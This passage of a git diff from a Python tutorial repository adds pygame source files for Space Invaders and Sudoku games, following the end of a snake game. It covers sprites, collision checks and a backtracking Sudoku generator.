increment score when food is eaten + else: + snake_pos.pop() # remove the last element from the snake + + snake_pos.insert(0, new_head) # add the new head to the snake + + +def game_over(): + # game over when snake hits the boundaries or runs into itself + if teleport_walls: + return snake_pos[0] in snake_pos[1:] + else: + return snake_pos[0] in snake_pos[1:] or \ + snake_pos[0][0] > WIDTH - BLOCK_SIZE or \ + snake_pos[0][0] < 0 or \ + snake_pos[0][1] > HEIGHT - BLOCK_SIZE or \ + snake_pos[0][1] < 0 + + +def game_over_screen(): + global score + win.fill((0, 0, 0)) + game_over_font = pygame.font.SysFont("consolas", 50) + game_over_text = game_over_font.render(f"Game Over! Score: {score}", True, WHITE) + win.blit(game_over_text, (WIDTH // 2 - game_over_text.get_width() // 2, HEIGHT // 2 - game_over_text.get_height() // 2)) + pygame.display.update() + + while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + return + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_r: + run() # replay the game + return + elif event.key == pygame.K_q: + pygame.quit() # quit the game + return + + + +def run(): + global snake_speed, snake_pos, food_pos, score + snake_pos = [[WIDTH//2, HEIGHT//2]] + snake_speed = [0, BLOCK_SIZE] + food_pos = generate_food() + score = 0 + running = True + while running: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + keys = pygame.key.get_pressed() + for key in keys: + if keys[pygame.K_UP]: + # when UP is pressed but the snake is moving down, ignore the input + if snake_speed[1] == BLOCK_SIZE: + continue + snake_speed = [0, -BLOCK_SIZE] + if keys[pygame.K_DOWN]: + # when DOWN is pressed but the snake is moving up, ignore the input + if snake_speed[1] == -BLOCK_SIZE: + continue + snake_speed = [0, BLOCK_SIZE] + if keys[pygame.K_LEFT]: + # when LEFT is pressed but the snake is moving right, ignore the input + if snake_speed[0] == BLOCK_SIZE: + continue + snake_speed = [-BLOCK_SIZE, 0] + if keys[pygame.K_RIGHT]: + # when RIGHT is pressed but the snake is moving left, ignore the input + if snake_speed[0] == -BLOCK_SIZE: + continue + snake_speed = [BLOCK_SIZE, 0] + + draw_objects() + update_snake() + if game_over(): + game_over_screen() + break + pygame.display.update() + clock.tick(10) + pygame.quit() + + +if __name__ == '__main__': + run() diff --git a/gui-programming/space-invaders-game/README.md b/gui-programming/space-invaders-game/README.md new file mode 100644 index 00000000..444ff669 --- /dev/null +++ b/gui-programming/space-invaders-game/README.md @@ -0,0 +1 @@ +# [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/alien.py b/gui-programming/space-invaders-game/alien.py new file mode 100644 index 00000000..62b8a09e --- /dev/null +++ b/gui-programming/space-invaders-game/alien.py @@ -0,0 +1,39 @@ +import pygame + +from settings import BULLET_SIZE +from bullet import Bullet + +class Alien(pygame.sprite.Sprite): + def __init__(self, pos, size, row_num): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # alien info + img_path = f'assets/aliens/{row_num}.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.move_speed = 5 + self.to_direction = "right" + + # alien status + self.bullets = pygame.sprite.GroupSingle() + + + def move_left(self): + self.rect.x -= self.move_speed + + def move_right(self): + self.rect.x += self.move_speed + + def move_bottom(self): + self.rect.y += self.move_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.centery) + self.bullets.add(Bullet(specific_pos, BULLET_SIZE, "enemy")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/assets/aliens/0.png b/gui-programming/space-invaders-game/assets/aliens/0.png new file mode 100644 index 00000000..b403b43e Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/0.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/1.png b/gui-programming/space-invaders-game/assets/aliens/1.png new file mode 100644 index 00000000..37b59d02 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/1.png differ diff --git a/gui-programming/space-invaders-game/assets/aliens/2.png b/gui-programming/space-invaders-game/assets/aliens/2.png new file mode 100644 index 00000000..ded6e0f8 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/2.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png new file mode 100644 index 00000000..12dbfe33 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/bullet/player-bullet.png b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png new file mode 100644 index 00000000..da000f45 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png differ diff --git a/gui-programming/space-invaders-game/assets/life/life.png b/gui-programming/space-invaders-game/assets/life/life.png new file mode 100644 index 00000000..da08d810 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/life/life.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship.png b/gui-programming/space-invaders-game/assets/ship/ship.png new file mode 100644 index 00000000..e3ab8a9a Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship.png differ diff --git a/gui-programming/space-invaders-game/assets/ship/ship1.png b/gui-programming/space-invaders-game/assets/ship/ship1.png new file mode 100644 index 00000000..29147e82 Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship1.png differ diff --git a/gui-programming/space-invaders-game/bullet.py b/gui-programming/space-invaders-game/bullet.py new file mode 100644 index 00000000..d782e991 --- /dev/null +++ b/gui-programming/space-invaders-game/bullet.py @@ -0,0 +1,34 @@ +import pygame +from settings import BULLET_SPEED, HEIGHT + +class Bullet(pygame.sprite.Sprite): + def __init__(self, pos, size, side): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # bullet info + img_path = f'assets/bullet/{side}-bullet.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # different bullet movement direction for both player and enemy (alien) + if side == "enemy": + self.move_speed = BULLET_SPEED + elif side == "player": + self.move_speed = (- BULLET_SPEED) + + + def _move_bullet(self): + self.rect.y += self.move_speed + + + def update(self): + self._move_bullet() + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + # delete the bullet if it get through out of the screen + if self.rect.bottom <= 0 or self.rect.top >= HEIGHT: + self.kill() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/display.py b/gui-programming/space-invaders-game/display.py new file mode 100644 index 00000000..2dd2e514 --- /dev/null +++ b/gui-programming/space-invaders-game/display.py @@ -0,0 +1,43 @@ +import pygame +from settings import WIDTH, HEIGHT, SPACE, FONT_SIZE, EVENT_FONT_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.score_font = pygame.font.SysFont("monospace", FONT_SIZE) + self.level_font = pygame.font.SysFont("impact", FONT_SIZE) + self.event_font = pygame.font.SysFont("impact", EVENT_FONT_SIZE) + self.text_color = pygame.Color("blue") + self.event_color = pygame.Color("red") + + + def show_life(self, life): + life_size = 30 + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (life_size, life_size)) + life_x = SPACE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (SPACE // 2))) + life_x += life_size + + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.score_font.render(f'score: {score}', True, self.text_color) + self.screen.blit(score, (score_x, (HEIGHT + (SPACE // 2)))) + + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.level_font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x * 2, (HEIGHT + (SPACE // 2)))) + + + def game_over_message(self): + message = self.event_font.render('GAME OVER!!', True, self.event_color) + self.screen.blit(message, ((WIDTH // 3) - (EVENT_FONT_SIZE // 2), (HEIGHT // 2) - (EVENT_FONT_SIZE // 2))) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/main.py b/gui-programming/space-invaders-game/main.py new file mode 100644 index 00000000..69f92c07 --- /dev/null +++ b/gui-programming/space-invaders-game/main.py @@ -0,0 +1,36 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_THICKNESS +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_THICKNESS)) +pygame.display.set_caption("Space Invader") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_SPACE: + world.player_move(attack = True) + + world.player_move() + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/space-invaders-game/requirements.txt b/gui-programming/space-invaders-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/space-invaders-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/space-invaders-game/settings.py b/gui-programming/space-invaders-game/settings.py new file mode 100644 index 00000000..48e871da --- /dev/null +++ b/gui-programming/space-invaders-game/settings.py @@ -0,0 +1,11 @@ +WIDTH, HEIGHT = 720, 450 + +SPACE = 30 +FONT_SIZE = 20 +EVENT_FONT_SIZE = 60 +NAV_THICKNESS = 50 +CHARACTER_SIZE = 30 +PLAYER_SPEED = 10 +ENEMY_SPEED = 1 +BULLET_SPEED = 15 # for both sides +BULLET_SIZE = 10 \ No newline at end of file diff --git a/gui-programming/space-invaders-game/ship.py b/gui-programming/space-invaders-game/ship.py new file mode 100644 index 00000000..c5852261 --- /dev/null +++ b/gui-programming/space-invaders-game/ship.py @@ -0,0 +1,42 @@ +import pygame + +from settings import PLAYER_SPEED, BULLET_SIZE +from bullet import Bullet + +class Ship(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + self.x = pos[0] + self.y = pos[1] + + # ship info + img_path = 'assets/ship/ship.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + self.ship_speed = PLAYER_SPEED + + # ship status + self.life = 3 + self.player_bullets = pygame.sprite.Group() + + + def move_left(self): + self.rect.x -= self.ship_speed + + def move_up(self): + self.rect.y -= self.ship_speed + + def move_right(self): + self.rect.x += self.ship_speed + + def move_bottom(self): + self.rect.y += self.ship_speed + + def _shoot(self): + specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.y) + self.player_bullets.add(Bullet(specific_pos, BULLET_SIZE, "player")) + + def update(self): + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) \ No newline at end of file diff --git a/gui-programming/space-invaders-game/world.py b/gui-programming/space-invaders-game/world.py new file mode 100644 index 00000000..216fceb8 --- /dev/null +++ b/gui-programming/space-invaders-game/world.py @@ -0,0 +1,182 @@ +import pygame +from ship import Ship +from alien import Alien +from settings import HEIGHT, WIDTH, ENEMY_SPEED, CHARACTER_SIZE, BULLET_SIZE, NAV_THICKNESS +from bullet import Bullet +from display import Display + +class World: + def __init__(self, screen): + self.screen = screen + + self.player = pygame.sprite.GroupSingle() + self.aliens = pygame.sprite.Group() + self.display = Display(self.screen) + + self.game_over = False + self.player_score = 0 + self.game_level = 1 + + self._generate_world() + + + def _generate_aliens(self): + # generate opponents + alien_cols = (WIDTH // CHARACTER_SIZE) // 2 + alien_rows = 3 + for y in range(alien_rows): + for x in range(alien_cols): + my_x = CHARACTER_SIZE * x + my_y = CHARACTER_SIZE * y + specific_pos = (my_x, my_y) + self.aliens.add(Alien(specific_pos, CHARACTER_SIZE, y)) + + # create and add player to the screen + def _generate_world(self): + # create the player's ship + player_x, player_y = WIDTH // 2, HEIGHT - CHARACTER_SIZE + center_size = CHARACTER_SIZE // 2 + player_pos = (player_x - center_size, player_y) + self.player.add(Ship(player_pos, CHARACTER_SIZE)) + + self._generate_aliens() + + + def add_additionals(self): + # add nav bar + nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_THICKNESS) + pygame.draw.rect(self.screen, pygame.Color("gray"), nav) + + # render player's life, score and game level + self.display.show_life(self.player.sprite.life) + self.display.show_score(self.player_score) + self.display.show_level(self.game_level) + + + def player_move(self, attack = False): + keys = pygame.key.get_pressed() + + if keys[pygame.K_a] and not self.game_over or keys[pygame.K_LEFT] and not self.game_over: + if self.player.sprite.rect.left > 0: + self.player.sprite.move_left() + if keys[pygame.K_d] and not self.game_over or keys[pygame.K_RIGHT] and not self.game_over: + if self.player.sprite.rect.right < WIDTH: + self.player.sprite.move_right() + if keys[pygame.K_w] and not self.game_over or keys[pygame.K_UP] and not self.game_over: + if self.player.sprite.rect.top > 0: + self.player.sprite.move_up() + if keys[pygame.K_s] and not self.game_over or keys[pygame.K_DOWN] and not self.game_over: + if self.player.sprite.rect.bottom < HEIGHT: + self.player.sprite.move_bottom() + + # game restart button + if keys[pygame.K_r]: + self.game_over = False + self.player_score = 0 + self.game_level = 1 + for alien in self.aliens.sprites(): + alien.kill() + self._generate_world() + + if attack and not self.game_over: + self.player.sprite._shoot() + + + def _detect_collisions(self): + # checks if player bullet hits the enemies (aliens) + player_attack_collision = pygame.sprite.groupcollide(self.aliens, self.player.sprite.player_bullets, True, True) + if player_attack_collision: + self.player_score += 10 + + # checks if the aliens' bullet hit the player + for alien in self.aliens.sprites(): + alien_attack_collision = pygame.sprite.groupcollide(alien.bullets, self.player, True, False) + if alien_attack_collision: + self.player.sprite.life -= 1 + break + + # checks if the aliens hit the player + alien_to_player_collision = pygame.sprite.groupcollide(self.aliens, self.player, True, False) + if alien_to_player_collision: + self.player.sprite.life -= 1 + + + def _alien_movement(self): + move_sideward = False + move_forward = False + + for alien in self.aliens.sprites(): + if alien.to_direction == "right" and alien.rect.right < WIDTH or alien.to_direction == "left" and alien.rect.left > 0: + move_sideward = True + move_forward = False + else: + move_sideward = False + move_forward = True + alien.to_direction = "left" if alien.to_direction == "right" else "right" + break + + for alien in self.aliens.sprites(): + if move_sideward and not move_forward: + if alien.to_direction == "right": + alien.move_right() + if alien.to_direction == "left": + alien.move_left() + if not move_sideward and move_forward: + alien.move_bottom() + + + def _alien_shoot(self): + for alien in self.aliens.sprites(): + if (WIDTH - alien.rect.x) // CHARACTER_SIZE == (WIDTH - self.player.sprite.rect.x) // CHARACTER_SIZE: + alien._shoot() + break + + + def _check_game_state(self): + # check if game over + if self.player.sprite.life <= 0: + self.game_over = True + self.display.game_over_message() + for alien in self.aliens.sprites(): + if alien.rect.top >= HEIGHT: + self.game_over = True + self.display.game_over_message() + break + + # check if next level + if len(self.aliens) == 0 and self.player.sprite.life > 0: + self.game_level += 1 + self._generate_aliens() + for alien in self.aliens.sprites(): + alien.move_speed += self.game_level - 1 + + + def update(self): + # detecting if bullet, alien, and player group is colliding + self._detect_collisions() + + # allows the aliens to move + self._alien_movement() + + # allows alien to shoot the player + self._alien_shoot() + + # bullets rendering + self.player.sprite.player_bullets.update() + self.player.sprite.player_bullets.draw(self.screen) + + [alien.bullets.update() for alien in self.aliens.sprites()] + [alien.bullets.draw(self.screen) for alien in self.aliens.sprites()] + + # player ship rendering + self.player.update() + self.player.draw(self.screen) + + # alien rendering + self.aliens.draw(self.screen) + + # add nav + self.add_additionals() + + # checks game state + self._check_game_state() \ No newline at end of file diff --git a/gui-programming/sudoku-game/README.md b/gui-programming/sudoku-game/README.md new file mode 100644 index 00000000..00cb1d63 --- /dev/null +++ b/gui-programming/sudoku-game/README.md @@ -0,0 +1 @@ +# [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python) \ No newline at end of file diff --git a/gui-programming/sudoku-game/cell.py b/gui-programming/sudoku-game/cell.py new file mode 100644 index 00000000..d529ec0b --- /dev/null +++ b/gui-programming/sudoku-game/cell.py @@ -0,0 +1,46 @@ +import pygame +from settings import convert_list + +pygame.font.init() + +class Cell: + def __init__(self, row, col, cell_size, value, is_correct_guess = None): + self.row = row + self.col = col + self.cell_size = cell_size + self.width = self.cell_size[0] + self.height = self.cell_size[1] + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.value = value + self.is_correct_guess = is_correct_guess + self.guesses = None if self.value != 0 else [0 for x in range(9)] + + self.color = pygame.Color("white") + self.font = pygame.font.SysFont('monospace', self.cell_size[0]) + self.g_font = pygame.font.SysFont('monospace', (cell_size[0] // 3)) + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + + def update(self, screen, SRN = None): + pygame.draw.rect(screen, self.color, self.rect) + + if self.value != 0: + font_color = pygame.Color("black") if self.is_correct_guess else pygame.Color("red") + num_val = self.font.render(str(self.value), True, font_color) + screen.blit(num_val, (self.abs_x, self.abs_y)) + + elif self.value == 0 and self.guesses != None: + cv_list = convert_list(self.guesses, [SRN, SRN, SRN]) + for y in range(SRN): + for x in range(SRN): + num_txt = " " + if cv_list[y][x] != 0: + num_txt = cv_list[y][x] + num_txt = self.g_font.render(str(num_txt), True, pygame.Color("orange")) + abs_x = (self.abs_x + ((self.width // SRN) * x)) + abs_y = (self.abs_y + ((self.height // SRN) * y)) + abs_pos = (abs_x, abs_y) + screen.blit(num_txt, abs_pos) \ No newline at end of file diff --git a/gui-programming/sudoku-game/clock.py b/gui-programming/sudoku-game/clock.py new file mode 100644 index 00000000..dcad3950 --- /dev/null +++ b/gui-programming/sudoku-game/clock.py @@ -0,0 +1,31 @@ +import pygame, time +from settings import CELL_SIZE + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", CELL_SIZE[0]) + self.message_color = pygame.Color("black") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None \ No newline at end of file diff --git a/gui-programming/sudoku-game/main.py b/gui-programming/sudoku-game/main.py new file mode 100644 index 00000000..bb0ab5b5 --- /dev/null +++ b/gui-programming/sudoku-game/main.py @@ -0,0 +1,53 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, CELL_SIZE +from table import Table + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + (CELL_SIZE[1] * 3))) +pygame.display.set_caption("Sudoku") + +pygame.font.init() + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + self.lives_font = pygame.font.SysFont("monospace", CELL_SIZE[0] // 2) + self.message_font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0])) + self.color = pygame.Color("darkgreen") + + def main(self): + table = Table(self.screen) + + while True: + self.screen.fill("gray") + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.MOUSEBUTTONDOWN: + if not table.game_over: + table.handle_mouse_click(event.pos) + + # lower screen display + if not table.game_over: + my_lives = self.lives_font.render(f"Lives Left: {table.lives}", True, pygame.Color("black")) + self.screen.blit(my_lives, ((WIDTH // table.SRN) - (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2.2))) + + else: + if table.lives <= 0: + message = self.message_font.render("GAME OVER!!", True, pygame.Color("red")) + self.screen.blit(message, (CELL_SIZE[0] + (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2))) + elif table.lives > 0: + message = self.message_font.render("You Made It!!!", True, self.color) + self.screen.blit(message, (CELL_SIZE[0] , HEIGHT + (CELL_SIZE[1] * 2))) + + table.update() + pygame.display.flip() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/sudoku-game/requirements.txt b/gui-programming/sudoku-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/sudoku-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/sudoku-game/settings.py b/gui-programming/sudoku-game/settings.py new file mode 100644 index 00000000..d847156e --- /dev/null +++ b/gui-programming/sudoku-game/settings.py @@ -0,0 +1,13 @@ +from itertools import islice + + +WIDTH, HEIGHT = 450, 450 + +N_CELLS = 9 + +CELL_SIZE = (WIDTH // N_CELLS, HEIGHT // N_CELLS) + +# Convert 1D list to 2D list +def convert_list(lst, var_lst): + it = iter(lst) + return [list(islice(it, i)) for i in var_lst] diff --git a/gui-programming/sudoku-game/sudoku.py b/gui-programming/sudoku-game/sudoku.py new file mode 100644 index 00000000..bda93b9a --- /dev/null +++ b/gui-programming/sudoku-game/sudoku.py @@ -0,0 +1,132 @@ +import random +import math +import copy + +class Sudoku: + def __init__(self, N, E): + self.N = N + self.E = E + + # compute square root of N + self.SRN = int(math.sqrt(N)) + self.table = [[0 for x in range(N)] for y in range(N)] + self.answerable_table = None + + self._generate_table() + + def _generate_table(self): + # fill the subgroups diagonally table/matrices + self.fill_diagonal() + + # fill remaining empty subgroups + self.fill_remaining(0, self.SRN) + + # Remove random Key digits to make game + self.remove_digits() + + def fill_diagonal(self): + for x in range(0, self.N, self.SRN): + self.fill_cell(x, x) + + def not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + if self.table[rowstart + x][colstart + y] == num: + return False + return True + + def fill_cell(self, row, col): + num = 0 + for x in range(self.SRN): + for y in range(self.SRN): + while True: + num = self.random_generator(self.N) + if self.not_in_subgroup(row, col, num): + break + self.table[row + x][col + y] = num + + def random_generator(self, num): + return math.floor(random.random() * num + 1) + + def safe_position(self, row, col, num): + return (self.not_in_row(row, num) and self.not_in_col(col, num) and self.not_in_subgroup(row - row % self.SRN, col - col % self.SRN, num)) + + def not_in_row(self, row, num): + for col in range(self.N): + if self.table[row][col] == num: + return False + return True + + def not_in_col(self, col, num): + for row in range(self.N): + if self.table[row][col] == num: + return False + return True + + + def fill_remaining(self, row, col): + # check if we have reached the end of the matrix + if row == self.N - 1 and col == self.N: + return True + + # move to the next row if we have reached the end of the current row + if col == self.N: + row += 1 + col = 0 + + # skip cells that are already filled + if self.table[row][col] != 0: + return self.fill_remaining(row, col + 1) + + # try filling the current cell with a valid value + for num in range(1, self.N + 1): + if self.safe_position(row, col, num): + self.table[row][col] = num + if self.fill_remaining(row, col + 1): + return True + self.table[row][col] = 0 + + # no valid value was found, so backtrack + return False + + def remove_digits(self): + count = self.E + + # replicates the table so we can have a filled and pre-filled copy + self.answerable_table = copy.deepcopy(self.table) + + # removing random numbers to create the puzzle sheet + while (count != 0): + row = self.random_generator(self.N) - 1 + col = self.random_generator(self.N) - 1 + if (self.answerable_table[row][col] != 0): + count -= 1 + self.answerable_table[row][col] = 0 + + + def puzzle_table(self): + return self.answerable_table + + def puzzle_answers(self): + return self.table + + + def printSudoku(self): + for row in range(self.N): + for col in range(self.N): + print(self.table[row][col], end=" ") + print() + + print("") + + for row in range(self.N): + for col in range(self.N): + print(self.answerable_table[row][col], end=" ") + print() + + +if __name__ == "__main__": + N = 9 + E = (N * N) // 2 + sudoku = Sudoku(N, E) + sudoku.printSudoku() diff --git a/gui-programming/sudoku-game/table.py b/gui-programming/sudoku-game/table.py new file mode 100644 index 00000000..f077ba99 --- /dev/null +++ b/gui-programming/sudoku-game/table.py @@ -0,0 +1,220 @@ +import pygame +import math +from cell import Cell +from sudoku import Sudoku +from clock import Clock + +from settings import WIDTH, HEIGHT, N_CELLS, CELL_SIZE + +pygame.font.init() + +class Table: + def __init__(self, screen): + self.screen = screen + + self.puzzle = Sudoku(N_CELLS, (N_CELLS * N_CELLS) // 2) + self.clock = Clock() + + self.answers = self.puzzle.puzzle_answers() + self.answerable_table = self.puzzle.puzzle_table() + self.SRN = self.puzzle.SRN + + self.table_cells = [] + self.num_choices = [] + self.clicked_cell = None + self.clicked_num_below = None + self.cell_to_empty = None + self.making_move = False + self.guess_mode = True + + self.lives = 3 + self.game_over = False + + self.delete_button = pygame.Rect(0, (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.guess_button = pygame.Rect((CELL_SIZE[0] * 6), (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1])) + self.font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0] // 2)) + self.font_color = pygame.Color("white") + + self._generate_game() + self.clock.start_timer() + + + def _generate_game(self): + # generating sudoku table + for y in range(N_CELLS): + for x in range(N_CELLS): + cell_value = self.answerable_table[y][x] + is_correct_guess = True if cell_value != 0 else False + self.table_cells.append(Cell(x, y, CELL_SIZE, cell_value, is_correct_guess)) + + # generating number choices + for x in range(N_CELLS): + self.num_choices.append(Cell(x, N_CELLS, CELL_SIZE, x + 1)) + + + def _draw_grid(self): + grid_color = (50, 80, 80) + pygame.draw.rect(self.screen, grid_color, (-3, -3, WIDTH + 6, HEIGHT + 6), 6) + + i = 1 + while (i * CELL_SIZE[0]) < WIDTH: + line_size = 2 if i % 3 > 0 else 4 + pygame.draw.line(self.screen, grid_color, ((i * CELL_SIZE[0]) - (line_size // 2), 0), ((i * CELL_SIZE[0]) - (line_size // 2), HEIGHT), line_size) + pygame.draw.line(self.screen, grid_color, (0, (i * CELL_SIZE[0]) - (line_size // 2)), (HEIGHT, (i * CELL_SIZE[0]) - (line_size // 2)), line_size) + i += 1 + + + def _draw_buttons(self): + # adding delete button details + dl_button_color = pygame.Color("red") + pygame.draw.rect(self.screen, dl_button_color, self.delete_button) + del_msg = self.font.render("Delete", True, self.font_color) + self.screen.blit(del_msg, (self.delete_button.x + (CELL_SIZE[0] // 2), self.delete_button.y + (CELL_SIZE[1] // 4))) + # adding guess button details + gss_button_color = pygame.Color("blue") if self.guess_mode else pygame.Color("purple") + pygame.draw.rect(self.screen, gss_button_color, self.guess_button) + gss_msg = self.font.render("Guess: On" if self.guess_mode else "Guess: Off", True, self.font_color) + self.screen.blit(gss_msg, (self.guess_button.x + (CELL_SIZE[0] // 3), self.guess_button.y + (CELL_SIZE[1] // 4))) + + + def _get_cell_from_pos(self, pos): + for cell in self.table_cells: + if (cell.row, cell.col) == (pos[0], pos[1]): + return cell + + + # checking rows, cols, and subgroups for adding guesses on each cell + def _not_in_row(self, row, num): + for cell in self.table_cells: + if cell.row == row: + if cell.value == num: + return False + return True + + def _not_in_col(self, col, num): + for cell in self.table_cells: + if cell.col == col: + if cell.value == num: + return False + return True + + def _not_in_subgroup(self, rowstart, colstart, num): + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.value == num: + return False + return True + + + # remove numbers in guess if number already guessed in the same row, col, subgroup correctly + def _remove_guessed_num(self, row, col, rowstart, colstart, num): + for cell in self.table_cells: + if cell.row == row and cell.guesses != None: + for x_idx,guess_row_val in enumerate(cell.guesses): + if guess_row_val == num: + cell.guesses[x_idx] = 0 + if cell.col == col and cell.guesses != None: + for y_idx,guess_col_val in enumerate(cell.guesses): + if guess_col_val == num: + cell.guesses[y_idx] = 0 + + for x in range(self.SRN): + for y in range(self.SRN): + current_cell = self._get_cell_from_pos((rowstart + x, colstart + y)) + if current_cell.guesses != None: + for idx,guess_val in enumerate(current_cell.guesses): + if guess_val == num: + current_cell.guesses[idx] = 0 + + + def handle_mouse_click(self, pos): + x, y = pos[0], pos[1] + + # getting table cell clicked + if x <= WIDTH and y <= HEIGHT: + x = x // CELL_SIZE[0] + y = y // CELL_SIZE[1] + clicked_cell = self._get_cell_from_pos((x, y)) + + # if clicked empty cell + if clicked_cell.value == 0: + self.clicked_cell = clicked_cell + self.making_move = True + + # clicked unempty cell but with wrong number guess + elif clicked_cell.value != 0 and clicked_cell.value != self.answers[y][x]: + self.cell_to_empty = clicked_cell + + # getting number selected + elif x <= WIDTH and y >= HEIGHT and y <= (HEIGHT + CELL_SIZE[1]): + x = x // CELL_SIZE[0] + self.clicked_num_below = self.num_choices[x].value + + # deleting numbers + elif x <= (CELL_SIZE[0] * 3) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + if self.cell_to_empty: + self.cell_to_empty.value = 0 + self.cell_to_empty = None + + # selecting modes + elif x >= (CELL_SIZE[0] * 6) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2): + self.guess_mode = True if not self.guess_mode else False + + # if making a move + if self.clicked_num_below and self.clicked_cell != None and self.clicked_cell.value == 0: + current_row = self.clicked_cell.row + current_col = self.clicked_cell.col + rowstart = self.clicked_cell.row - self.clicked_cell.row % self.SRN + colstart = self.clicked_cell.col - self.clicked_cell.col % self.SRN + + if self.guess_mode: + # checking the vertical group, the horizontal group, and the subgroup + if self._not_in_row(current_row, self.clicked_num_below) and self._not_in_col(current_col, self.clicked_num_below): + if self._not_in_subgroup(rowstart, colstart, self.clicked_num_below): + if self.clicked_cell.guesses != None: + self.clicked_cell.guesses[self.clicked_num_below - 1] = self.clicked_num_below + else: + self.clicked_cell.value = self.clicked_num_below + # if the player guess correctly + if self.clicked_num_below == self.answers[self.clicked_cell.col][self.clicked_cell.row]: + self.clicked_cell.is_correct_guess = True + self.clicked_cell.guesses = None + self._remove_guessed_num(current_row, current_col, rowstart, colstart, self.clicked_num_below) + # if guess 